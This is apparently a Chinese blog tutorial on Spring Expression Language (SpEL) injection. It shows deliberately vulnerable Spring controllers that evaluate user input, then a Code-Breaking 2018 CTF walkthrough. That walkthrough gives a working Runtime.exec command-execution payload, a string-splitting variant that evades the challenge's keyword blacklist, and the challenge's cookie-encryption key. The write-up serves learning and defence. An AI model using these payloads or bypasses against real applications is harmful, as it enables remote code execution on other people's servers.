SpEL表达式注入
一、内容简介
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。类似于Struts2中的OGNL。
SpEL对表达式语法解析过程进行了很高的抽象,抽象出解析器、表达式、解析上下文、估值(Evaluate)上下文等对象,非常优雅的表达了解析逻辑。主要的对象如下:
类名 | 说明 |
---|---|
ExpressionParser | 表达式解析器接口,包含了(Expression) parseExpression(String), (Expression) parseExpression(String, ParserContext)两个接口方法 |
ParserContext | 解析器上下文接口,主要是对解析器Token的抽象类,包含3个方法:getExpressionPrefix,getExpressionSuffix和isTemplate,就是表示表达式从什么符号开始什么符号结束,是否是作为模板(包含字面量和表达式)解析。一般保持默认。 |
Expression | 表达式的抽象,是经过解析后的字符串表达式的形式表示。通过expressionInstance.getValue方法,可以获取表示式的值。也可以通过调用getValue(EvaluationContext),从评估(evaluation)上下文中获取表达式对于当前上下文的值 |
EvaluationContext | 估值上下文接口,只有一个setter方法:setVariable(String, Object),通过调用该方法,可以为evaluation提供上下文变量 |
二、最基础的触发例子
普通表达式:
@GetMapping({"/test"})
@ResponseBody
public String test(@RequestParam("input") String input){
//创建表达式解析器
SpelExpressionParser parser = new SpelExpressionParser();
//解析表达式
Expression expression = parser.parseExpression(input);
//使用Expression.getValue()获取表达式的值
return expression.getValue().toString();
}
注入点 input = 3*8
模板表达式:
@GetMapping({"/hello"})
@ResponseBody
public String test2(@RequestParam("input") String input){
// 模板表达式
String template = input;
// 创建模板解析器上下文
ParserContext parserContext = new TemplateParserContext();
// 创建表达式解析器
SpelExpressionParser parser = new SpelExpressionParser();
//解析表达式,如果表达式是一个模板表达式,需要为解析传入模板解析器上下文。
Expression expression = parser.parseExpression(input,parserContext);
return expression.getValue().toString();
}
注入点: input=#{3*8}
三、Code-Breaking 2018
代码审计:源代码
运行项目
后台代码审计
UserConfig:用户信息
KeyworkProperties:配置黑名单,生成列表
Encryptor:Cookie字段的加解密
重点:Controller
admin 方法,获取 Cookie,解密Cookie的rememberMeValue字段,赋值给 username 字段,传递给 getAdvanceValue 方法。
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
进入getAdvanceValue 方法, 对传入的 username字段,首先通过黑名单进行过滤。之后再进行 SpEL解析。因为我们可控Cookie,所以可以造成 SpEL注入攻击。
private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
利用思路:构造命令执行 payload --> 加密 --> 修改 Cookie --> 服务器获取 Cookie --> 解密 --> SpEL解析 --> 触发执行 payload
先测试一下解密:
@Component
public class Madao {
public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
return null;
}
}
public static String decrypt(String key, String initVector, String encrypted) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
return new String(original);
} catch (Exception var7) {
return null;
}
}
}
@SpringBootTest
class ReviewApplicationTests {
@Autowired
private Madao madao;
@Test
void contextLoads() {
System.out.println(madao.decrypt("c0dehack1nghere1", "0123456789abcdef", "MXPUSANQRVaBJYtUucUgmQ=="));
}
}
可以把 T(String) 看作 String.class
构造 payload :
#{T(String).forName(\"java.lang.Runtime\").getMethod(\"exec\",T(String)).invoke(T(String).forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(T(String).forName(\"java.lang.Runtime\")),\"calc\")}
拆分一下就看懂了:
String.class = T(String)
String.class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke( var1, "calc")
var1 = Runtime.getRuntime()
= String.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)
拆分,绕过黑名单
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
#{T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\").getMethod(\"ex\"+\"ec\",T(String)).invoke(T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\")),\"calc\")}
加密:
修改Cookie:
SpEL表达式注入的更多相关文章
- SpEL表达式注入漏洞学习和回显poc研究
目录 前言 环境 基础学习和回显实验 语法基础 回显实验 BufferedReader Scanner SpEL漏洞复现 低版本SpringBoot中IllegalStateException CVE ...
- SpringBoot SpEL表达式注入漏洞-分析与复现
目录 0x00前言 0x01触发原因 0x02调试分析 0x03补丁分析 0x04参考文章 影响版本: 1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升至1.3.1或以上版本 ...
- SpringBoot框架SpEL表达式注入漏洞复现与原理分析
前言 这是2016年的一个洞,利用条件是至少知道一个触发 springboot 默认错误页面的接口及参数名. 影响版本:1.1.0-1.1.12 1.2.0-1.2.7 1.3.0 修复方案:升级版本 ...
- Spring实战学习笔记之SpEL表达式
在Spring XML配置文件中装配Bean的属性和构造参数都是静态的,而在运行期才知道装配的值,就可以使用SpEL实现 SpEL表达式的首要目标是通过计算获得某个值. ...
- Java Web表达式注入
原文:http://netsecurity.51cto.com/art/201407/444548.htm 0×00 引言 在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为 ...
- ref:一种新的攻击方法——Java Web表达式注入
ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...
- 【spring boot】SpringBoot初学(2.2)– SpEL表达式读取properties属性到Java对象
前言 github: https://github.com/vergilyn/SpringBootDemo 代码位置:(注意测试方法在,test下的SpelValueApplicationTest.c ...
- 自定义注解结合切面和spel表达式
在我们的实际开发中可能存在这么一种情况,当方法参数中的某些条件成立的时候,需要执行一些逻辑处理,比如输出日志.而这些代码可能都是差不多的,那么这个时候就可以结合自定义注解加上切面加上spel表达式进行 ...
- Spring SpEL表达式的理解
Spring的IOC本质就一个容器,也就是一个对象的工厂,我们通过配置文件注册我们的Bean对象,通过他进行对象的组装与床架. SpEL表达式就是一种字符串编程,类似于JS里面的EVAL的作用,通过它 ...
随机推荐
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- /usr/lib/nvidia-384/libEGL.so.1 is not a symbolic link
记得要将384改为自己系统对应的a. sudo mv /usr/lib/nvidia-384/libEGL.so.1 /usr/lib/nvidia-384/libEGL.so.1.org sudo ...
- webpack 性能优化 dll 分包
webpack 性能优化 dll 分包 html-webpack-externals-plugin DLLPlugin https://www.webpackjs.com/configuration/ ...
- js useful skills blogs
js useful skills blogs blogs https://davidwalsh.name/tutorials/javascript https://www.ruanyifeng.com ...
- free ebooks all in one
free ebooks all in one pdf / ppt mobi / epub free programming ebooks free IT ebooks open free ebooks ...
- GraphQL API In Action
GraphQL API In Action GraphQL API express $ yarn add express express-graphql graphql # OR $ npm i -S ...
- chown -R & chmod 777 & chmod +x
chown -R & chmod 777 & chmod +x https://linux.die.net/man/1/chown chown - change file owner ...
- CSS animation & CSS animation 101
CSS animation 101 如何为 Web 添加动画效果. https://github.com/cssanimation/css-animation-101 https://github.c ...
- django学习-25.admin管理后台里:把表名称和表字段名称的展示值都由英文显示改为由中文显示
目录结构 1.前言 2.完整的操作步骤 2.1.第一步:修改模型类Article 2.2.第二步:重启服务 2.3.第三步:退出登录并再次成功登陆admin管理后台 2.4.第四步:查看最新的表名称展 ...
- InnoDB -- 行记录格式
本文转载自InnoDB -- 行记录格式 分类 Named File Format InnoDB早期的文件格式(页格式)为Antelope,可以定义两种行记录格式,分别是Compact和Redunda ...